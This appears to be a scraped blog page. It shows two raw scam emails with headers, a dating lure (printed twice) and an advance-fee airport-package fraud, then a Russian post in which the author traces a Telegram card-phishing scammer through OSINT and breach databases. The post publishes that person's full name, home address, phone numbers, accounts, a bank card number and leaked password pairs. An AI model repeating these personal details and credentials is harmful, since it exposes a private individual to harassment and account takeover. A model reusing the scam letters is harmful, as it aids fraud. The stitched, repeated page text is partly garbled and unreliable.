To: undisclosed-recipients:;
X-Yandex-Fwd: 1
Authentication-Results: mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net; spf=pass (mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net: domain of terrorist.services designates 5.78.95.7 as permitted sender, rule=[ip4:5.78.95.7]) smtp.mail=hexxa@terrorist.services; dkim=pass header.i=@terrorist.services
X-Yandex-Spam: 4
Received: from box.psycho.email (box.psycho.email [167.114.127.91])
by mail-relay.psycho.email (Postfix) with ESMTPS id 679543053D;
Tue, 25 Mar 2025 20:34:08 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=terrorist.services;
s=mail; t=1742934817;
bh=wDibchjsIpcKZPwBCKknUNePsozakTRTASULuzLMvyk=;
h=Reply-To:From:Subject:Date:From;
b=GZTQkhrvlUyQrAk+u/NQNqazDTdXt1Nmi7z50TBcNtGZxHovsfVmc+Fb423I8UvLg
UIcc3mDOdS4scaMLopxnQdG0QpT0WSLJlm1iMv9cbcQ/IJjW4vf+5ABUT+zs/XIr+Z
IitJDF+GltpO9B2SaRAW5yi/EuYSli/oHvT/Gyi6KHJX+sLAJjNcsjkHZffpxgA2ah
2Q6YbLfwd5I97N2AHesdyBuqRZTogJqfRkjQXsv7YwrS2GsdkzsFuW0fY0hozJ+gkV
CLL5WQ/U5t1NJB1lu9Ji9IsuHSvnSpMHl11Q77l+m1s9hYi3VJXHSVlFbZI0rORTlJ
vu51oY006f91Q==
Received: from authenticated-user (box.psycho.email [167.114.127.91])
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
key-exchange ECDHE (P-256) server-signature RSA-PSS (2048 bits) server-digest SHA256)
(No client certificate requested)
by box.psycho.email (Postfix) with ESMTPSA id 738BF823E2;
Tue, 25 Mar 2025 15:33:37 -0500 (CDT)
Message-ID: <22cf862dd91d37396ac08f38bc794e2fe501@terrorist.services>
Reply-To: Jessica <hexxa@terrorist.services>
From: Jessica <hexxa@terrorist.services>
Subject: Hi there, remember who I am?
Date: Tue, 25 Mar 2025 23:33:35 +0300
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="82f5bc17e3270d0350fab502864374e31fce"
Return-Path: hexxa@terrorist.services
X-Yandex-Forward: c80f08b76eacb68a8991195777744d5a
--82f5bc17e3270d0350fab502864374e31fce
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Hi! My name is Jessica, and I=E2=80=99m 36 years old. Some time ago, you =
left me your email address on a dating site, but I don=E2=80=99t remember=
which one. Now, I finally have the opportunity to write to you. I hope t=
o hear from you soon. I=E2=80=99m looking for a kind and caring man to bu=
ild a serious and meaningful relationship with. I have never been married=
and truly want something long-term. I would love to receive your reply a=
nd see your photos. Please reach out to me if you are sincerely intereste=
d in getting to know me better. Here is my email olwolterpgen1983@outlook=
.com
--82f5bc17e3270d0350fab502864374e31fce
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
<html>
<head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8">
</head>
<body bottomMargin=3D5 bgColor=3D"#ffffff" leftMargin=3D5 topMargin=3D5 r=
ightMargin=3D5>
<div>Hi! My name is Jessica, and I=E2=80=99m 36 years old. Some time ago,=
you left me your email address on a dating site, but I don=E2=80=99t rem=
ember which one. Now, I finally have the opportunity to write to you. I h=
ope to hear from you soon. I=E2=80=99m looking for a kind and caring man =
to build a serious and meaningful relationship with. I have never been ma=
rried and truly want something long-term. I would love to receive your re=
ply and see your photos. Please reach out to me if you are sincerely inte=
rested in getting to know me better. Here is my email olwolterpgen1983@ou=
tlook.com</div></body></html>
--82f5bc17e3270d0350fab502864374e31fce--
Как меня пытались развести, но что-то пошло не так...
Mar 29, 2025
Received: from postback9b.mail.yandex.net (postback9b.mail.yandex.net [2a02:6b8:c02:900:1:45:d181:da09])
by mail-notsolitesrv-production-main-91.iva.yp-c.yandex.net (notsolitesrv/Yandex) with LMTPS id ZubeIk0OtUKF-wn4wgy0f;
Wed, 12 Mar 2025 15:46:11 +0300
Received: from mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net (mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net [IPv6:2a02:6b8:c1b:3982:0:640:daf:0])
by postback9b.mail.yandex.net (Yandex) with ESMTPS id 4F937608F1;
Wed, 12 Mar 2025 15:46:11 +0300 (MSK)
Received: from sts.gov.kz (nkcib.sts.kz [91.214.43.35])
by mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net (mxfront/Yandex) with ESMTPS id 9kqmjF0E8eA0-vShlcwCv;
Wed, 12 Mar 2025 15:46:10 +0300
To: undisclosed-recipients:;
X-Yandex-Fwd: 1
Authentication-Results: mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net; spf=pass (mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net: domain of sts.gov.kz designates 91.214.43.35 as permitted sender, rule=[a]) smtp.mail=test@sts.gov.kz
X-Yandex-Spam: 4
Received: from User ([45.64.112.98])
by sts.gov.kz with SMTP id 52CCjCeR003290-52CCjCeT003290;
Wed, 12 Mar 2025 17:45:13 +0500
Message-Id: <202503121245.52CCjCeR003290-52CCjCeT003290@sts.gov.kz>
Reply-To: <williamleonard653@gmail.com>
From: "WILLIAM LEONARD"<test@sts.gov.kz>
Subject: PACKAGE FOR DELIVERY
Date: Wed, 12 Mar 2025 20:45:27 +0800
MIME-Version: 1.0
Content-Type: text/plain;
charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-FEAS-Client-IP: 45.64.112.98
X-FE-Last-Public-Client-IP: 45.64.112.98
X-FE-Policy-ID: 3:1:0:SYSTEM
Return-Path: test@sts.gov.kz
X-Yandex-Forward: c80f08b76eacb68a8991195777744d5a
X-Yandex-Forward: d3d158788ceea54c764cedea491a1863
MESSAGE FROM VICE CHAIRMAN HARRISBURG.
Harrisburg International Airport Pennsylvania
One Terminal Drive, Middle town,
PA 17057, Pennsylvania USA
Your Abandoned Package For Delivery
I have very vital information to give to you, but first I must have your trust before I review it to you because it may affect my job,so I need somebody that I can trust for me to be able to review the secret to you.
I am Mr.William Leonard, head of luggage/baggage storage facilities (Operations, Maintenance, Transportation) here at the Harrisburg International Airport, Pennsylvania USA. During my recent withheld package routine check at the Airport Storage Vault, I discovered an abandoned shipment from a Diplomat from London and when scanned it revealed an undisclosed sum of money in a Metal Trunk Box weighing approximately 110kg. The consignment was abandoned because the Contents of the consignment was not properly declared by the consignee as "MONEY" rather it was declared as personal effect to avoid interrogation and also the inability of the diplomat to pay for the United States Non Inspection Charges which is $4,700 USD. On my assumption the consignment is still left in our Storage House here at the Harrisburg International Airport Pennsylvania till date. The details of the consignment including your name, your email address and the official documents from the United Nations office
in Geneva are tagged on the Trunk
However, to enable me confirm if you are the actual recipient of this consignment as the assistant director of the Inspection Unit, I will advise you provide your current Phone Number and Full Address, to enable me cross check if it corresponds with the address on the official documents including the name of nearest Airport around your city. Please note that this consignment is supposed to have been returned to the United States Treasury Department as unclaimed delivery due to the delays in concluding the clearance processes so as a result of this, I will not be able to receive your details on my official email account. So in order to enable me to cross check your details, I will advise you to send the required details to my private email address for quick processing and response. Once I confirm you as the actual recipient of the trunk box, I can get everything concluded within 48 hours upon your acceptance and proceed to your address for delivery.
Lastly, be informed that the reason I have taken it upon myself to contact you personally about this abandoned consignment is because I want us to transact this business and share the money 70% for you and 30% for me since the consignment has not yet been returned to the United States Treasury Department after being abandoned by the diplomat so immediately the confirmation is made, I will go ahead and pay for the United States Non Inspection Fee of $4,700 dollars and arrange for the box to be delivered to your doorstep Or I can bring it by myself to avoid any more trouble but you have to assure me of my 30% share.
I wait to hear from you urgently if you are still alive and I will appreciate it if we can keep this deal confidential. Please get back to me via my private Email:( williamleonard46[@]aol[dot]com ) for further directives.
Thanks,
William Leonard.
VICE CHAIRMAN HARRISBURG,
(Operations,Maintenance,Transportation)
Harrisburg International Airport Pennsylvania
One Terminal Drive, Middle town.
Received: from postback18a.mail.yandex.net (postback18a.mail.yandex.net [2a02:6b8:c0e:500:1:45:d181:da18])
by zgzkrblwmilsm4ww.vla.yp-c.yandex.net (notsolitesrv/Yandex) with LMTPS id Ko1iEKv9rzhI-wcqex5mF
Received: from mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net (mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net [IPv6:2a02:6b8:c0c:859e:0:640:dbee:0])
by postback18a.mail.yandex.net (Yandex) with ESMTPS id 140D560B59
Received: from mail-relay.psycho.email (mail-relay.psycho.email [5.78.95.7])
by mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net (mxfront/Yandex) with ESMTPS id paWQCj0E4uQ0-MGUaPcdc;
Tue, 25 Mar 2025 23:36:53 +0300
To: undisclosed-recipients:;
X-Yandex-Fwd: 1
Authentication-Results: mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net; spf=pass (mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net: domain of terrorist.services designates 5.78.95.7 as permitted sender, rule=[ip4:5.78.95.7]) smtp.mail=hexxa@terrorist.services; dkim=pass header.i=@terrorist.services
X-Yandex-Spam: 4
Received: from box.psycho.email (box.psycho.email [167.114.127.91])
by mail-relay.psycho.email (Postfix) with ESMTPS id 679543053D;
Tue, 25 Mar 2025 20:34:08 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=terrorist.services;
s=mail; t=1742934817;
bh=wDibchjsIpcKZPwBCKknUNePsozakTRTASULuzLMvyk=;
h=Reply-To:From:Subject:Date:From;
b=GZTQkhrvlUyQrAk+u/NQNqazDTdXt1Nmi7z50TBcNtGZxHovsfVmc+Fb423I8UvLg
UIcc3mDOdS4scaMLopxnQdG0QpT0WSLJlm1iMv9cbcQ/IJjW4vf+5ABUT+zs/XIr+Z
IitJDF+GltpO9B2SaRAW5yi/EuYSli/oHvT/Gyi6KHJX+sLAJjNcsjkHZffpxgA2ah
2Q6YbLfwd5I97N2AHesdyBuqRZTogJqfRkjQXsv7YwrS2GsdkzsFuW0fY0hozJ+gkV
CLL5WQ/U5t1NJB1lu9Ji9IsuHSvnSpMHl11Q77l+m1s9hYi3VJXHSVlFbZI0rORTlJ
vu51oY006f91Q==
Received: from authenticated-user (box.psycho.email [167.114.127.91])
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
key-exchange ECDHE (P-256) server-signature RSA-PSS (2048 bits) server-digest SHA256)
(No client certificate requested)
by box.psycho.email (Postfix) with ESMTPSA id 738BF823E2;
Tue, 25 Mar 2025 15:33:37 -0500 (CDT)
Message-ID: <22cf862dd91d37396ac08f38bc794e2fe501@terrorist.services>
Reply-To: Jessica <hexxa@terrorist.services>
From: Jessica <hexxa@terrorist.services>
Subject: Hi there, remember who I am?
Date: Tue, 25 Mar 2025 23:33:35 +0300
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="82f5bc17e3270d0350fab502864374e31fce"
Return-Path: hexxa@terrorist.services
X-Yandex-Forward: c80f08b76eacb68a8991195777744d5a
--82f5bc17e3270d0350fab502864374e31fce
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Hi! My name is Jessica, and I=E2=80=99m 36 years old. Some time ago, you =
left me your email address on a dating site, but I don=E2=80=99t remember=
which one. Now, I finally have the opportunity to write to you. I hope t=
o hear from you soon. I=E2=80=99m looking for a kind and caring man to bu=
ild a serious and meaningful relationship with. I have never been married=
and truly want something long-term. I would love to receive your reply a=
nd see your photos. Please reach out to me if you are sincerely intereste=
d in getting to know me better. Here is my email olwolterpgen1983@outlook=
.com
--82f5bc17e3270d0350fab502864374e31fce
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
<html>
<head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8">
</head>
<body bottomMargin=3D5 bgColor=3D"#ffffff" leftMargin=3D5 topMargin=3D5 r=
ightMargin=3D5>
<div>Hi! My name is Jessica, and I=E2=80=99m 36 years old. Some time ago,=
you left me your email address on a dating site, but I don=E2=80=99t rem=
ember which one. Now, I finally have the opportunity to write to you. I h=
ope to hear from you soon. I=E2=80=99m looking for a kind and caring man =
to build a serious and meaningful relationship with. I have never been ma=
rried and truly want something long-term. I would love to receive your re=
ply and see your photos. Please reach out to me if you are sincerely inte=
rested in getting to know me better. Here is my email olwolterpgen1983@ou=
tlook.com</div></body></html>
--82f5bc17e3270d0350fab502864374e31fce--
Как меня пытались развести, но что-то пошло не так... Mar 29, 2025
Я живу в Казахстане, по профессии музыкант, как хобби занимаюсь разработкой ПО и увлекаюсь OSINT. Периодически выкладываю объявления на OLX — продавал аквариум, цена была около 100к тенге. Спустя пару дней после того как я разместил объявление и купил VIP-пакет — мне написал некий человек с просьбой перейти в Telegram. Я сразу понял, что это развод, и не отвечал 3–5 дней. Потом всё же решил ответить — и заодно попробовать его деанонимизировать.
Схема очень простая: тебя просят перейти в Телеграм, присылают ссылку, где надо ввести данные своей карты — и всё, деньги уходят скамеру.
Его Telegram: @whwvnsn — ID: 6308353080, предположительно зарегистрирован в октябре 2023 года.

Он скинул мне домен для ввода данных карты — KzOperations.online. IP: 194.58.112.174, создан 2023-10-07 — почти одновременно с Telegram-аккаунтом. WHOIS по этому домену ничего полезного не дал, однако я нашёл очень похожий домен с другим TLD, который работал полгода назад — post-kz.kzoperations.shop. URLScan определил его как фишинговый: результат сканирования. Домен работал за Cloudflare — 188.114.96.3, создан 2023-02-02.

Покопавшись в интернете, я нашёл WHOIS-запись этого домена на service.loxotrona.net. Почти всё — мусор, но один элемент зацепил: почта badboy8905@gmail.com. Я сделал reverse-lookup WHOIS по ней и получил 276 результатов на whoxy.com и 77 на viewdns.info. Судя по датам, человек занимается этим примерно с августа 2022 года.
А вот как выглядела переписка в Telegram — мошенник действовал под именем «Динара»:






Что мне удалось найти по email: badboy8905@gmail.com
Google:
- GAIA ID:
108070244582627351651 - Архив Google+ профиля
Утечки COMB — нашёл несколько пар логин/пароль:
badboy8905@email.com : sasha00
badboy8905@gmail.com : Ghost_99gg
badboy8905@gmail.com : PaTrOnAs0000
badboy8905@gmail.com : sasha00
badboy8905@mail.ru : PaTrOnAs0000
badboy8905@mail.ru : sasha00
badboy8905@yandex.ru : sasha00 -> аккаунт не найден в Yandex
OK.ru: имя (частично) Ghost A***, 23 года, зарегистрирован 4 ноября 2018 года.
Через OSINT-утилиты я вытащил его аккаунт на lolz.guru из слитой базы 2018 года:
ID: 70489
Ник: Ghost_99gg
Пол: male
Часовой пояс: Europe/Athens
Email: badboy8905@gmail.com
Дата регистрации: 2017-01-04 11:03:00
А вот что нашлось в утечке базы Новой Почты Украины [2016–2022] — и это уже реально интересно:
ФИО: Alexsandr Chertopolokh / Чертополох Александр Юрьевич
Адрес: Ponornytsya, Kovpaka 27
Город: Koropskyi / смт. Понорниця, Чернігівська обл., Коропський р-н
Страна: Ukraine
Телефон: +380636252658
Email: badboy8905@gmail.com
Доставка: Відділення №1, вул. Гагаріна, 2 — Понорниця
Теперь у меня есть имя, адрес и телефон. Двигаемся дальше.
Пробиваем телефон: +380636252658
- GetContact: Сашко
- Оператор: Life:) 🇺🇦 Украина
OK.ru: имя OTPOK Cw, 13 июля 1997 г.р. (26 лет на тот момент), профиль ok.ru/profile/567937246291 (архив), город — Киев, email badboy8905@gmail.com, зарегистрирован 4 февраля 2016.
Я загуглил его ФИО и вышел на страницу обмена криптовалюты: clickpay.cx/ru/order/2WY4WU1WZRO. В исходниках той страницы я нашёл ту же почту и ещё:
- Карта:
5375 4114 1209 6997— Universalbank (Mastercard, Debit) - Телефон:
+380954543439→ GetContact: «Чертополох Саша», Telegram:@alex004k
Дополнительные зацепки
По паролю PaTrOnAs0000 из утечки я вычислил его смежные почтовые ящики:
badboy8904@mail.ru
badboy8905@gmail.com
badboy8905@mail.ru
badboy8906@mail.ru
По паролю sasha00 (через Глаз Бога) вылезло много номеров, но я зацепился за два интересных:
+380935603722→ GetContact: «Саша Мой» → Telegram:@chertopolokh_69— тут уже без вариантов+380965834883→ GetContact: «Саша» → Telegram: имяC— сложно сказать, его ли
Ящик badboy8906@mail.ru ведёт на my.mail.ru/mail/badboy8906 (архив) — судя по профилю, человек увлекался игрой Contact Wars. Имя: «саша иванов», телефон: +380966******. На той же почте ICQ: icq.im/badboy8906@mail.ru, имя тоже «саша иванов».
Ещё нашёлся Twitter-аккаунт @badboy8906 (архив) — похоже, использовался как приманка для определённой аудитории.
Ну и напоследок — этот же человек засветился на Pinkbike: Are High Pivots Only for Downhill Riding? — Pinkbike Weekly Show Ep. 16.
Итог
Мне удалось установить ФИО, адрес, страну проживания, несколько номеров телефона, email-адреса, аккаунты в соцсетях и мессенджерах. Всю собранную информацию я передал в киберполицию Украины. Надеюсь, что дело дойдёт до дела.
My experience of taking medications and some side effects and notes about Vortioxetine (Brintellix, Trintellix, Fonksera), Lamotrigine (Lamictal) and Olanzapine (Ferzapine) Jan 13, 2025
...